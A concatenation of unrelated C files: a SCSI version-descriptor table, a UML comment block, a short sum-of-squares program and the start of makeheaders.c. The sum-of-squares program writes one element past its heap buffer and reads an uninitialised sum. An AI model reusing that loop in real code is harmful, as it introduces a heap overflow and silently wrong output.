"no conformance claimed",
"SCSI-1", /* obsolete, ANSI X3.131-1986 */
"SCSI-2", /* obsolete, ANSI X3.131-1994 */
"SPC", /* withdrawn, ANSI INCITS 301-1997 */
"SPC-2", /* ANSI INCITS 351-2001, ISO/IEC 14776-452 */
"SPC-3", /* ANSI INCITS 408-2005, ISO/IEC 14776-453 */
"SPC-4", /* ANSI INCITS 513-2015 */
"SPC-5",
"ecma=1, [8h]",
"ecma=1, [9h]",
"ecma=1, [Ah]",
"ecma=1, [Bh]",
"reserved [Ch]",
"reserved [Dh]",
"reserved [Eh]",
"reserved [Fh]",
};
/* Copy of structure found in sg_inq.c */
struct sg_version_descriptor {
int value;
const char * name;
};
/* table from SPC-5 revision 10 [sorted numerically (from Annex E.9)] */
/* Can also be obtained from : http://www.t10.org/lists/stds.txt 20160510 */
#ifdef SG_SCSI_STRINGS
struct sg_version_descriptor sg_version_descriptor_arr[] = {
{0x0, "Version Descriptor not supported or No standard identified"},
{0x20, "SAM (no version claimed)"},
{0x3b, "SAM T10/0994-D revision 18"},
{0x3c, "SAM ANSI INCITS 270-1996"},
{0x40, "SAM-2 (no version claimed)"},
{0x54, "SAM-2 T10/1157-D revision 23"},
{0x55, "SAM-2 T10/1157-D revision 24"},
{0x5c, "SAM-2 ANSI INCITS 366-2003"},
{0x5e, "SAM-2 ISO/IEC 14776-412"},
{0x60, "SAM-3 (no version claimed)"},
{0x62, "SAM-3 T10/1561-D revision 7"},
{0x75, "SAM-3 T10/1561-D revision 13"},
{0x76, "SAM-3 T10/1561-D revision 14"},
{0x77, "SAM-3 ANSI INCITS 402-2005"},
{0x80, "SAM-4 (no version claimed)"},
{0x87, "SAM-4 T10/1683-D revision 13"},
{0x8b, "SAM-4 T10/1683-D revision 14"},
{0x90, "SAM-4 ANSI INCITS 447-2008"},
{0x92, "SAM-4 ISO/IEC 14776-414"},
{0xa0, "SAM-5 (no version claimed)"},
{0xa2, "SAM-5 T10/2104-D revision 4"},
{0xa4, "SAM-5 T10/2104-D revision 20"},
{0xa6, "SAM-5 T10/2104-D revision 21"},
{0xc0, "SAM-6 (no version claimed)"},
{0x120, "SPC (no version claimed)"},
{0x13b, "SPC T10/0995-D revision 11a"},
{0x13c, "SPC ANSI INCITS 301-1997"},
{0x140, "MMC (no version claimed)"},
{0x15b, "MMC T10/1048-D revision 10a"},
{0x15c, "MMC ANSI INCITS 304-1997"},
{0x160, "SCC (no version claimed)"},
{0x17b, "SCC T10/1047-D revision 06c"},
{0x17c, "SCC ANSI INCITS 276-1997"},
{0x180, "SBC (no version claimed)"},
{0x19b, "SBC T10/0996-D revision 08c"},
{0x19c, "SBC ANSI INCITS 306-1998"},
{0x1a0, "SMC (no version claimed)"},
{0x1bb, "SMC T10/0999-D revision 10a"},
{0x1bc, "SMC ANSI INCITS 314-1998"},
{0x1be, "SMC ISO/IEC 14776-351"},
{0x1c0, "SES (no version claimed)"},
{0x1db, "SES T10/1212-D revision 08b"},
{0x1dc, "SES ANSI INCITS 305-1998"},
{0x1dd, "SES T10/1212-D revision 08b w/ Amendment ANSI "
"INCITS.305/AM1:2000"},
{0x1de, "SES ANSI INCITS 305-1998 w/ Amendment ANSI "
"INCITS.305/AM1:2000"},
{0x1e0, "SCC-2 (no version claimed}"},
{0x1fb, "SCC-2 T10/1125-D revision 04"},
{0x1fc, "SCC-2 ANSI INCITS 318-1998"},
{0x200, "SSC (no version claimed)"},
{0x201, "SSC T10/0997-D revision 17"},
{0x207, "SSC T10/0997-D revision 22"},
{0x21c, "SSC ANSI INCITS 335-2000"},
{0x220, "RBC (no version claimed)"},
{0x238, "RBC T10/1240-D revision 10a"},
{0x23c, "RBC ANSI INCITS 330-2000"},
{0x240, "MMC-2 (no version claimed)"},
{0x255, "MMC-2 T10/1228-D revision 11"},
{0x25b, "MMC-2 T10/1228-D revision 11a"},
{0x25c, "MMC-2 ANSI INCITS 333-2000"},
{0x260, "SPC-2 (no version claimed)"},
{0x267, "SPC-2 T10/1236-D revision 12"},
{0x269, "SPC-2 T10/1236-D revision 18"},
{0x275, "SPC-2 T10/1236-D revision 19"},
{0x276, "SPC-2 T10/1236-D revision 20"},
{0x277, "SPC-2 ANSI INCITS 351-2001"},
{0x278, "SPC-2 ISO/IEC 14776-452"},
{0x280, "OCRW (no version claimed)"},
{0x29e, "OCRW ISO/IEC 14776-381"},
{0x2a0, "MMC-3 (no version claimed)"},
{0x2b5, "MMC-3 T10/1363-D revision 9"},
{0x2b6, "MMC-3 T10/1363-D revision 10g"},
{0x2b8, "MMC-3 ANSI INCITS 360-2002"},
{0x2e0, "SMC-2 (no version claimed)"},
{0x2f5, "SMC-2 T10/1383-D revision 5"},
{0x2fc, "SMC-2 T10/1383-D revision 6"},
{0x2fd, "SMC-2 T10/1383-D revision 7"},
{0x2fe, "SMC-2 ANSI INCITS 382-2004"},
{0x300, "SPC-3 (no version claimed)"},
{0x301, "SPC-3 T10/1416-D revision 7"},
{0x307, "SPC-3 T10/1416-D revision 21"},
{0x30f, "SPC-3 T10/1416-D revision 22"},
{0x312, "SPC-3 T10/1416-D revision 23"},
{0x314, "SPC-3 ANSI INCITS 408-2005"},
{0x316, "SPC-3 ISO/IEC 14776-453"},
{0x320, "SBC-2 (no version claimed)"},
{0x322, "SBC-2 T10/1417-D revision 5a"},
{0x324, "SBC-2 T10/1417-D revision 15"},
{0x33b, "SBC-2 T10/1417-D revision 16"},
{0x33d, "SBC-2 ANSI INCITS 405-2005"},
{0x33e, "SBC-2 ISO/IEC 14776-322"},
{0x340, "OSD (no version claimed)"},
{0x341, "OSD T10/1355-D revision 0"},
{0x342, "OSD T10/1355-D revision 7a"},
{0x343, "OSD T10/1355-D revision 8"},
{0x344, "OSD T10/1355-D revision 9"},
{0x355, "OSD T10/1355-D revision 10"},
{0x356, "OSD ANSI INCITS 400-2004"},
{0x360, "SSC-2 (no version claimed)"},
{0x374, "SSC-2 T10/1434-D revision 7"},
{0x375, "SSC-2 T10/1434-D revision 9"},
{0x37d, "SSC-2 ANSI INCITS 380-2003"},
{0x380, "BCC (no version claimed)"},
{0x3a0, "MMC-4 (no version claimed)"},
{0x3b0, "MMC-4 T10/1545-D revision 5"}, /* dropped in spc4r09 */
{0x3b1, "MMC-4 T10/1545-D revision 5a"},
{0x3bd, "MMC-4 T10/1545-D revision 3"},
{0x3be, "MMC-4 T10/1545-D revision 3d"},
{0x3bf, "MMC-4 ANSI INCITS 401-2005"},
{0x3c0, "ADC (no version claimed)"},
{0x3d5, "ADC T10/1558-D revision 6"},
{0x3d6, "ADC T10/1558-D revision 7"},
{0x3d7, "ADC ANSI INCITS 403-2005"},
{0x3e0, "SES-2 (no version claimed)"},
{0x3e1, "SES-2 T10/1559-D revision 16"},
{0x3e7, "SES-2 T10/1559-D revision 19"},
{0x3eb, "SES-2 T10/1559-D revision 20"},
{0x3f0, "SES-2 ANSI INCITS 448-2008"},
{0x3f2, "SES-2 ISO/IEC 14776-372"},
{0x400, "SSC-3 (no version claimed)"},
{0x403, "SSC-3 T10/1611-D revision 04a"},
{0x407, "SSC-3 T10/1611-D revision 05"},
{0x409, "SSC-3 ANSI INCITS 467-2011"},
{0x40b, "SSC-3 ISO/IEC 14776-333:2013"},
{0x420, "MMC-5 (no version claimed)"},
{0x42f, "MMC-5 T10/1675-D revision 03"},
{0x431, "MMC-5 T10/1675-D revision 03b"},
{0x432, "MMC-5 T10/1675-D revision 04"},
{0x434, "MMC-5 ANSI INCITS 430-2007"},
{0x440, "OSD-2 (no version claimed)"},
{0x444, "OSD-2 T10/1729-D revision 4"},
{0x446, "OSD-2 T10/1729-D revision 5"},
{0x448, "OSD-2 ANSI INCITS 458-2011"},
{0x460, "SPC-4 (no version claimed)"},
{0x461, "SPC-4 T10/BSR INCITS 513 revision 16"},
{0x462, "SPC-4 T10/BSR INCITS 513 revision 18"},
{0x463, "SPC-4 T10/BSR INCITS 513 revision 23"},
{0x466, "SPC-4 T10/BSR INCITS 513 revision 36"},
{0x468, "SPC-4 T10/BSR INCITS 513 revision 37"},
{0x469, "SPC-4 T10/BSR INCITS 513 revision 37a"},
{0x46c, "SPC-4 ANSI INCITS 513-2015"},
{0x480, "SMC-3 (no version claimed)"},
{0x482, "SMC-3 T10/1730-D revision 15"},
{0x482, "SMC-3 T10/1730-D revision 16"},
{0x486, "SMC-3 ANSI INCITS 484-2012"},
{0x4a0, "ADC-2 (no version claimed)"},
{0x4a7, "ADC-2 T10/1741-D revision 7"},
{0x4aa, "ADC-2 T10/1741-D revision 8"},
{0x4ac, "ADC-2 ANSI INCITS 441-2008"},
{0x4c0, "SBC-3 (no version claimed)"},
{0x4c3, "SBC-3 T10/BSR INCITS 514 revision 35"},
{0x4c5, "SBC-3 T10/BSR INCITS 514 revision 36"},
{0x4c8, "SBC-3 ANSI INCITS 514-2014"},
{0x4e0, "MMC-6 (no version claimed)"},
{0x4e3, "MMC-6 T10/1836-D revision 2b"},
{0x4e5, "MMC-6 T10/1836-D revision 02g"},
{0x4e6, "MMC-6 ANSI INCITS 468-2010"},
{0x4e7, "MMC-6 ANSI INCITS 468-2010 + MMC-6/AM1 ANSI INCITS "
"468-2010/AM 1"},
{0x500, "ADC-3 (no version claimed)"},
{0x502, "ADC-3 T10/1895-D revision 04"},
{0x504, "ADC-3 T10/1895-D revision 05"},
{0x506, "ADC-3 T10/1895-D revision 05a"},
{0x50a, "ADC-3 ANSI INCITS 497-2012"},
{0x520, "SSC-4 (no version claimed)"},
{0x523, "SSC-4 T10/BSR INCITS 516 revision 2"},
{0x525, "SSC-4 T10/BSR INCITS 516 revision 3"},
{0x527, "SSC-4 SSC-4 ANSI INCITS 516-2013"},
{0x560, "OSD-3 (no version claimed)"},
{0x580, "SES-3 (no version claimed)"},
{0x582, "SES-3 T10/BSR INCITS 518 revision 13"},
{0x5a0, "SSC-5 (no version claimed)"},
{0x5c0, "SPC-5 (no version claimed)"},
{0x5e0, "SFSC (no version claimed)"},
{0x5e3, "SFSC BSR INCITS 501 revision 01"},
{0x5e5, "SFSC BSR INCITS 501 revision 02"},
{0x600, "SBC-4 (no version claimed)"},
{0x620, "ZBC (no version claimed)"},
{0x622, "ZBC BSR INCITS 536 revision 02"},
{0x624, "ZBC BSR INCITS 536 revision 05"},
{0x640, "ADC-4 (no version claimed)"},
{0x660, "ZBC-2 (no version claimed)"},
{0x820, "SSA-TL2 (no version claimed)"},
{0x83b, "SSA-TL2 T10/1147-D revision 05b"},
{0x83c, "SSA-TL2 ANSI INCITS 308-1998"},
{0x840, "SSA-TL1 (no version claimed)"},
{0x85b, "SSA-TL1 T10/0989-D revision 10b"},
{0x85c, "SSA-TL1 ANSI INCITS 295-1996"},
{0x860, "SSA-S3P (no version claimed)"},
{0x87b, "SSA-S3P T10/1051-D revision 05b"},
{0x87c, "SSA-S3P ANSI INCITS 309-1998"},
{0x880, "SSA-S2P (no version claimed)"},
{0x89b, "SSA-S2P T10/1121-D revision 07b"},
{0x89c, "SSA-S2P ANSI INCITS 294-1996"},
{0x8a0, "SIP (no version claimed)"},
{0x8bb, "SIP T10/0856-D revision 10"},
{0x8bc, "SIP ANSI INCITS 292-1997"},
{0x8c0, "FCP (no version claimed)"},
{0x8db, "FCP T10/0856-D revision 12"},
{0x8dc, "FCP ANSI INCITS 269-1996"},
{0x8e0, "SBP-2 (no version claimed)"},
{0x8fb, "SBP-2 T10/1155-D revision 04"},
{0x8fc, "SBP-2 ANSI INCITS 325-1999"},
{0x900, "FCP-2 (no version claimed)"},
{0x901, "FCP-2 T10/1144-D revision 4"},
{0x915, "FCP-2 T10/1144-D revision 7"},
{0x916, "FCP-2 T10/1144-D revision 7a"},
{0x917, "FCP-2 ANSI INCITS 350-2003"},
{0x918, "FCP-2 T10/1144-D revision 8"},
{0x920, "SST (no version claimed)"},
{0x935, "SST T10/1380-D revision 8b"},
{0x940, "SRP (no version claimed)"},
{0x954, "SRP T10/1415-D revision 10"},
{0x955, "SRP T10/1415-D revision 16a"},
{0x95c, "SRP ANSI INCITS 365-2002"},
{0x960, "iSCSI (no version claimed)"},
{0x961, "iSCSI RFC 7143"},
{0x962, "iSCSI RFC 7144"},
/* 0x960 up to 0x97f for iSCSI use */
{0x980, "SBP-3 (no version claimed)"},
{0x982, "SBP-3 T10/1467-D revision 1f"},
{0x994, "SBP-3 T10/1467-D revision 3"},
{0x99a, "SBP-3 T10/1467-D revision 4"},
{0x99b, "SBP-3 T10/1467-D revision 5"},
{0x99c, "SBP-3 ANSI INCITS 375-2004"},
{0x9a0, "SRP-2 (no version claimed)"},
{0x9c0, "ADP (no version claimed)"},
{0x9e0, "ADT (no version claimed)"},
{0x9f9, "ADT T10/1557-D revision 11"},
{0x9fa, "ADT T10/1557-D revision 14"},
{0x9fd, "ADT ANSI INCITS 406-2005"},
{0xa00, "FCP-3 (no version claimed)"},
{0xa07, "FCP-3 T10/1560-D revision 3f"},
{0xa0f, "FCP-3 T10/1560-D revision 4"},
{0xa11, "FCP-3 ANSI INCITS 416-2006"},
{0xa1c, "FCP-3 ISO/IEC 14776-223"},
{0xa20, "ADT-2 (no version claimed)"},
{0xa22, "ADT-2 T10/1742-D revision 06"},
{0xa27, "ADT-2 T10/1742-D revision 08"},
{0xa28, "ADT-2 T10/1742-D revision 09"},
{0xa2b, "ADT-2 ANSI INCITS 472-2011"},
{0xa40, "FCP-4 (no version claimed)"},
{0xa42, "FCP-4 T10/1828-D revision 01"},
{0xa44, "FCP-4 T10/1828-D revision 02"},
{0xa45, "FCP-4 T10/1828-D revision 02b"},
{0xa46, "FCP-4 ANSI INCITS 481-2012"},
{0xa60, "ADT-3 (no version claimed)"},
{0xaa0, "SPI (no version claimed)"},
{0xab9, "SPI T10/0855-D revision 15a"},
{0xaba, "SPI ANSI INCITS 253-1995"},
{0xabb, "SPI T10/0855-D revision 15a with SPI Amnd revision 3a"},
{0xabc, "SPI ANSI INCITS 253-1995 with SPI Amnd ANSI INCITS "
"253/AM1:1998"},
{0xac0, "Fast-20 (no version claimed)"},
{0xadb, "Fast-20 T10/1071-D revision 06"},
{0xadc, "Fast-20 ANSI INCITS 277-1996"},
{0xae0, "SPI-2 (no version claimed)"},
{0xafb, "SPI-2 T10/1142-D revision 20b"},
{0xafc, "SPI-2 ANSI INCITS 302-1999"},
{0xb00, "SPI-3 (no version claimed)"},
{0xb18, "SPI-3 T10/1302-D revision 10"},
{0xb19, "SPI-3 T10/1302-D revision 13a"},
{0xb1a, "SPI-3 T10/1302-D revision 14"},
{0xb1c, "SPI-3 ANSI INCITS 336-2000"},
{0xb20, "EPI (no version claimed)"},
{0xb3b, "EPI T10/1134-D revision 16"},
{0xb3c, "EPI ANSI INCITS TR-23 1999"},
{0xb40, "SPI-4 (no version claimed)"},
{0xb54, "SPI-4 T10/1365-D revision 7"},
{0xb55, "SPI-4 T10/1365-D revision 9"},
{0xb56, "SPI-4 ANSI INCITS 362-2002"},
{0xb59, "SPI-4 T10/1365-D revision 10"},
{0xb60, "SPI-5 (no version claimed)"},
{0xb79, "SPI-5 T10/1525-D revision 3"},
{0xb7a, "SPI-5 T10/1525-D revision 5"},
{0xb7b, "SPI-5 T10/1525-D revision 6"},
{0xb7c, "SPI-5 ANSI INCITS 367-2004"},
{0xbe0, "SAS (no version claimed)"},
{0xbe1, "SAS T10/1562-D revision 01"},
{0xbf5, "SAS T10/1562-D revision 03"},
{0xbfa, "SAS T10/1562-D revision 04"},
{0xbfb, "SAS T10/1562-D revision 04"},
{0xbfc, "SAS T10/1562-D revision 05"},
{0xbfd, "SAS ANSI INCITS 376-2003"},
{0xc00, "SAS-1.1 (no version claimed)"},
{0xc07, "SAS-1.1 T10/1602-D revision 9"},
{0xc0f, "SAS-1.1 T10/1602-D revision 10"},
{0xc11, "SAS-1.1 ANSI INCITS 417-2006"},
{0xc12, "SAS-1.1 ISO/IEC 14776-151"},
{0xc20, "SAS-2 (no version claimed)"},
{0xc23, "SAS-2 T10/1760-D revision 14"},
{0xc27, "SAS-2 T10/1760-D revision 15"},
{0xc28, "SAS-2 T10/1760-D revision 16"},
{0xc2a, "SAS-2 ANSI INCITS 457-2010"},
{0xc40, "SAS-2.1 (no version claimed)"},
{0xc48, "SAS-2.1 T10/2125-D revision 04"},
{0xc4a, "SAS-2.1 T10/2125-D revision 06"},
{0xc4b, "SAS-2.1 T10/2125-D revision 07"},
{0xc4e, "SAS-2.1 ANSI INCITS 478-2011"},
{0xc4f, "SAS-2.1 ANSI INCITS 478-2011 w/ Amnd 1 ANSI INCITS "
"478/AM1-2014"},
{0xc52, "SAS-2.1 ISO/IEC 14776-153"},
{0xc60, "SAS-3 (no version claimed)"},
{0xc63, "SAS-3 T10/BSR INCITS 519 revision 05a"},
{0xc65, "SAS-3 T10/BSR INCITS 519 revision 06"},
{0xc68, "SAS-3 ANSI INCITS 519-2014"},
{0xc80, "SAS-4 (no version claimed)"},
{0xd20, "FC-PH (no version claimed)"},
{0xd3b, "FC-PH ANSI INCITS 230-1994"},
{0xd3c, "FC-PH ANSI INCITS 230-1994 with Amnd 1 ANSI INCITS "
"230/AM1:1996"},
{0xd40, "FC-AL (no version claimed)"},
{0xd5c, "FC-AL ANSI INCITS 272-1996"},
{0xd60, "FC-AL-2 (no version claimed)"},
{0xd61, "FC-AL-2 T11/1133-D revision 7.0"},
{0xd63, "FC-AL-2 ANSI INCITS 332-1999 with AM1-2003 & AM2-2006"},
{0xd64, "FC-AL-2 ANSI INCITS 332-1999 with Amnd 2 AM2-2006"},
{0xd65, "FC-AL-2 ISO/IEC 14165-122 with AM1 & AM2"},
{0xd7c, "FC-AL-2 ANSI INCITS 332-1999"},
{0xd7d, "FC-AL-2 ANSI INCITS 332-1999 with Amnd 1 AM1:2002"},
{0xd80, "FC-PH-3 (no version claimed)"},
{0xd9c, "FC-PH-3 ANSI INCITS 303-1998"},
{0xda0, "FC-FS (no version claimed)"},
{0xdb7, "FC-FS T11/1331-D revision 1.2"},
{0xdb8, "FC-FS T11/1331-D revision 1.7"},
{0xdbc, "FC-FS ANSI INCITS 373-2003"},
{0xdbd, "FC-FS ISO/IEC 14165-251"},
{0xdc0, "FC-PI (no version claimed)"},
{0xddc, "FC-PI ANSI INCITS 352-2002"},
{0xde0, "FC-PI-2 (no version claimed)"},
{0xde2, "FC-PI-2 T11/1506-D revision 5.0"},
{0xde4, "FC-PI-2 ANSI INCITS 404-2006"},
{0xe00, "FC-FS-2 (no version claimed)"},
{0xe02, "FC-FS-2 ANSI INCITS 242-2007"},
{0xe03, "FC-FS-2 ANSI INCITS 242-2007 with AM1 ANSI INCITS 242/AM1-2007"},
{0xe20, "FC-LS (no version claimed)"},
{0xe21, "FC-LS T11/1620-D revision 1.62"},
{0xe29, "FC-LS ANSI INCITS 433-2007"},
{0xe40, "FC-SP (no version claimed)"},
{0xe42, "FC-SP T11/1570-D revision 1.6"},
{0xe45, "FC-SP ANSI INCITS 426-2007"},
{0xe60, "FC-PI-3 (no version claimed)"},
{0xe62, "FC-PI-3 T11/1625-D revision 2.0"},
{0xe68, "FC-PI-3 T11/1625-D revision 2.1"},
{0xe6a, "FC-PI-3 T11/1625-D revision 4.0"},
{0xe6e, "FC-PI-3 ANSI INCITS 460-2011"},
{0xe80, "FC-PI-4 (no version claimed)"},
{0xe82, "FC-PI-4 T11/1647-D revision 8.0"},
{0xea0, "FC 10GFC (no version claimed)"},
{0xea2, "FC 10GFC ANSI INCITS 364-2003"},
{0xea3, "FC 10GFC ISO/IEC 14165-116"},
{0xea5, "FC 10GFC ISO/IEC 14165-116 with AM1"},
{0xea6, "FC 10GFC ANSI INCITS 364-2003 with AM1 ANSI INCITS 364/AM1-2007"},
{0xec0, "FC-SP-2 (no version claimed)"},
{0xee0, "FC-FS-3 (no version claimed)"},
{0xee2, "FC-FS-3 T11/1861-D revision 0.9"},
{0xee7, "FC-FS-3 T11/1861-D revision 1.0"},
{0xee9, "FC-FS-3 T11/1861-D revision 1.10"},
{0xeeb, "FC-FS-3 ANSI INCITS 470-2011"},
{0xf00, "FC-LS-2 (no version claimed)"},
{0xf03, "FC-LS-2 T11/2103-D revision 2.11"},
{0xf05, "FC-LS-2 T11/2103-D revision 2.21"},
{0xf07, "FC-LS-2 ANSI INCITS 477-2011"},
{0xf20, "FC-PI-5 (no version claimed)"},
{0xf27, "FC-PI-5 T11/2118-D revision 2.00"},
{0xf28, "FC-PI-5 T11/2118-D revision 3.00"},
{0xf2a, "FC-PI-5 T11/2118-D revision 6.00"},
{0xf2b, "FC-PI-5 T11/2118-D revision 6.10"},
{0xf2e, "FC-PI-5 ANSI INCITS 479-2011"},
{0xf40, "FC-PI-6 (no version claimed)"},
{0xf60, "FC-FS-4 (no version claimed)"},
{0xf80, "FC-LS-3 (no version claimed)"},
{0x12a0, "FC-SCM (no version claimed)"},
{0x12a3, "FC-SCM T11/1824DT revision 1.0"},
{0x12a5, "FC-SCM T11/1824DT revision 1.1"},
{0x12a7, "FC-SCM T11/1824DT revision 1.4"},
{0x12aa, "FC-SCM INCITS TR-47 2012"},
{0x12c0, "FC-DA-2 (no version claimed)"},
{0x12c3, "FC-DA-2 T11/1870DT revision 1.04"},
{0x12c5, "FC-DA-2 T11/1870DT revision 1.06"},
{0x12c9, "FC-DA-2 INCITS TR-49 2012"},
{0x12e0, "FC-DA (no version claimed)"},
{0x12e2, "FC-DA T11/1513-DT revision 3.1"},
{0x12e8, "FC-DA ANSI INCITS TR-36 2004"},
{0x12e9, "FC-DA ISO/IEC 14165-341"},
{0x1300, "FC-Tape (no version claimed)"},
{0x1301, "FC-Tape T11/1315-D revision 1.16"},
{0x131b, "FC-Tape T11/1315-D revision 1.17"},
{0x131c, "FC-Tape ANSI INCITS TR-24 1999"},
{0x1320, "FC-FLA (no version claimed)"},
{0x133b, "FC-FLA T11/1235-D revision 7"},
{0x133c, "FC-FLA ANSI INCITS TR-20 1998"},
{0x1340, "FC-PLDA (no version claimed)"},
{0x135b, "FC-PLDA T11/1162-D revision 2.1"},
{0x135c, "FC-PLDA ANSI INCITS TR-19 1998"},
{0x1360, "SSA-PH2 (no version claimed)"},
{0x137b, "SSA-PH2 T10/1145-D revision 09c"},
{0x137c, "SSA-PH2 ANSI INCITS 293-1996"},
{0x1380, "SSA-PH3 (no version claimed)"},
{0x139b, "SSA-PH3 T10/1146-D revision 05b"},
{0x139c, "SSA-PH3 ANSI INCITS 307-1998"},
{0x14a0, "IEEE 1394 (no version claimed)"},
{0x14bd, "ANSI IEEE 1394:1995"},
{0x14c0, "IEEE 1394a (no version claimed)"},
{0x14e0, "IEEE 1394b (no version claimed)"},
{0x15e0, "ATA/ATAPI-6 (no version claimed)"},
{0x15fd, "ATA/ATAPI-6 ANSI INCITS 361-2002"},
{0x1600, "ATA/ATAPI-7 (no version claimed)"},
{0x1602, "ATA/ATAPI-7 T13/1532-D revision 3"},
{0x161c, "ATA/ATAPI-7 ANSI INCITS 397-2005"},
{0x161e, "ATA/ATAPI-7 ISO/IEC 24739"},
{0x1620, "ATA/ATAPI-8 ATA-AAM Architecture model (no version claimed)"},
{0x1621, "ATA/ATAPI-8 ATA-PT Parallel transport (no version claimed)"},
{0x1622, "ATA/ATAPI-8 ATA-AST Serial transport (no version claimed)"},
{0x1623, "ATA/ATAPI-8 ATA-ACS ATA/ATAPI command set (no version "
"claimed)"},
{0x1628, "ATA/ATAPI-8 ATA-AAM ANSI INCITS 451-2008"},
{0x162a, "ATA/ATAPI-8 ATA8-ACS ANSI INCITS 452-2009 w/ Amendment 1"},
{0x1721, "ACS-2 (no version claimed)"},
{0x1722, "ACS-2 ANSI INCITS 482-2013"},
{0x1726, "ACS-3 (no version claimed)"},
{0x1728, "Universal Serial Bus Specification, Revision 1.1"},
{0x1729, "Universal Serial Bus Specification, Revision 2.0"},
{0x1730, "USB Mass Storage Class Bulk-Only Transport, Revision 1.0"},
{0x1740, "UAS (no version claimed)"}, /* USB attached SCSI */
{0x1743, "UAS T10/2095-D revision 02"},
{0x1747, "UAS T10/2095-D revision 04"},
{0x1748, "UAS ANSI INCITS 471-2010"},
{0x1749, "UAS ISO/IEC 14776-251:2014"},
{0x1780, "UAS-2 (no version claimed)"},
{0x1ea0, "SAT (no version claimed)"},
{0x1ea7, "SAT T10/1711-D rev 8"},
{0x1eab, "SAT T10/1711-D rev 9"},
{0x1ead, "SAT ANSI INCITS 431-2007"},
{0x1ec0, "SAT-2 (no version claimed)"},
{0x1ec4, "SAT-2 T10/1826-D revision 06"},
{0x1ec8, "SAT-2 T10/1826-D revision 09"},
{0x1eca, "SAT-2 ANSI INCITS 465-2010"},
{0x1ee0, "SAT-3 (no version claimed)"},
{0x1ee2, "SAT-3 T10/BSR INCITS 517 revision 4"},
{0x1ee4, "SAT-3 T10/BSR INCITS 517 revision 7"},
{0x1ee8, "SAT-3 ANSI INCITS 517-2015"},
{0x1f00, "SAT-4 (no version claimed)"},
{0x1f02, "SAT-4 T10/BSR INCITS 491 revision 5"},
{0x20a0, "SPL (no version claimed)"},
{0x20a3, "SPL T10/2124-D revision 6a"},
{0x20a5, "SPL T10/2124-D revision 7"},
{0x20a7, "SPL ANSI INCITS 476-2011"},
{0x20a8, "SPL ANSI INCITS 476-2011 + SPL AM1 INCITS 476/AM1 2012"},
{0x20aa, "SPL ISO/IEC 14776-261:2012"},
{0x20c0, "SPL-2 (no version claimed)"},
{0x20c2, "SPL-2 T10/BSR INCITS 505 revision 4"},
{0x20c4, "SPL-2 T10/BSR INCITS 505 revision 5"},
{0x20c8, "SPL-2 ANSI INCITS 505-2013"},
{0x20e0, "SPL-3 (no version claimed)"},
{0x20e4, "SPL-3 T10/BSR INCITS 492 revision 6"},
{0x20e6, "SPL-3 T10/BSR INCITS 492 revision 7"},
{0x20e8, "SPL-3 ANSI INCITS 492-2015"},
{0x2100, "SPL-4 (no version claimed)"},
{0x2102, "SPL-4 T10/BSR INCITS 538 revision 08a"},
{0x21e0, "SOP (no version claimed)"},
{0x21e4, "SOP T10/BSR INCITS 489 revision 4"},
{0x21e6, "SOP T10/BSR INCITS 489 revision 5"},
{0x21e8, "SOP ANSI INCITS 489-2014"},
{0x2200, "PQI (no version claimed)"},
{0x2204, "PQI T10/BSR INCITS 490 revision 6"},
{0x2206, "PQI T10/BSR INCITS 490 revision 7"},
{0x2208, "PQI ANSI INCITS 490-2014"},
{0x2220, "SOP-2 (no draft published)"},
{0x2240, "PQI-2 (no version claimed)"},
{0x2242, "PQI-2 T10/BSR INCITS 507 revision 01"},
{0xffc0, "IEEE 1667 (no version claimed)"},
{0xffc1, "IEEE 1667-2006"},
{0xffc2, "IEEE 1667-2009"},
{0xffff, NULL},
};
#else
struct sg_version_descriptor sg_version_descriptor_arr[] = {
{0xffff, NULL},
};
#endif
|
the_stack_data/70586.c
|
/**~UML Diagram Interchange~
* UMLInteractionDiagram [Class]
*
* Description
*
* Shows an Interaction and its elements. Also see Annex A.
*
* Generalizations
*
* UMLBehaviorDiagram
*
* Attributes
*
* kind : UMLInteractionDiagramKind [1..1] = sequence
*
* Indicates how an Interaction shall be shown.
*
* isLifelineDashed : Boolean [1..1] = false
*
* Indicates whether lifelines on the diagram shall be rendered as dashed.
*
* Association Ends
*
* modelElement : Interaction [1..1]{redefines UMLBehaviorDiagram::modelElement} (opposite
* A_UMLInteractionDiagram_modelElement_umlDiagramElement::umlDiagramElement)
*
* Restricts UMLInteractionDiagrams to showing Interactions.
**/
|
the_stack_data/103265999.c
|
#include <stdlib.h>
#include <stdio.h>
int main(int argc,char **argv) {
int nmax,i;
float *squares,sum;
fscanf(stdin,"%d",&nmax);
squares = (float*) malloc(nmax*sizeof(float));
for (i=1; i<=nmax; i++) {
squares[i] = 1./(i*i);
sum += squares[i];
}
printf("Sum: %e\n",sum);
return 0;
}
|
the_stack_data/91348.c
|
static const char ident[] = "@(#) $Header: /cvstrac/cvstrac/makeheaders.c,v 1.4 2005/03/16 22:17:51 drh Exp $";
/*
** This program is free software; you can redistribute it and/or
** modify it under the terms of the Simplified BSD License (also
** known as the "2-Clause License" or "FreeBSD License".)
**
** Copyright 1993 D. Richard Hipp. All rights reserved.
**
** Redistribution and use in source and binary forms, with or
** without modification, are permitted provided that the following
** conditions are met:
**
** 1. Redistributions of source code must retain the above copyright
** notice, this list of conditions and the following disclaimer.
**
** 2. Redistributions in binary form must reproduce the above copyright
** notice, this list of conditions and the following disclaimer in
** the documentation and/or other materials provided with the
** distribution.
**
** This software is provided "as is" and any express or implied warranties,
** including, but not limited to, the implied warranties of merchantability
** and fitness for a particular purpose are disclaimed. In no event shall
** the author or contributors be liable for any direct, indirect, incidental,
** special, exemplary, or consequential damages (including, but not limited
** to, procurement of substitute goods or services; loss of use, data or
** profits; or business interruption) however caused and on any theory of
** liability, whether in contract, strict liability, or tort (including
** negligence or otherwise) arising in any way out of the use of this
** software, even if advised of the possibility of such damage.
**
** This program is distributed in the hope that it will be useful,
** but without any warranty; without even the implied warranty of
** merchantability or fitness for a particular purpose.
** appropriate header files.
*/
#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
#include <memory.h>
#include <sys/stat.h>
#include <assert.h>
#if defined( __MINGW32__) || defined(__DMC__) || defined(_MSC_VER) || defined(__POCC__)
# ifndef WIN32
# define WIN32
# endif
# include <string.h>
#else
# include <unistd.h>
#endif
/*
** Macros for debugging.
*/
#ifdef DEBUG
static int debugMask = 0;
# define debug0(F,M) if( (F)&debugMask ){ fprintf(stderr,M); }
# define debug1(F,M,A) if( (F)&debugMask ){ fprintf(stderr,M,A); }
# define debug2(F,M,A,B) if( (F)&debugMask ){ fprintf(stderr,M,A,B); }
# define debug3(F,M,A,B,C) if( (F)&debugMask ){ fprintf(stderr,M,A,B,C); }
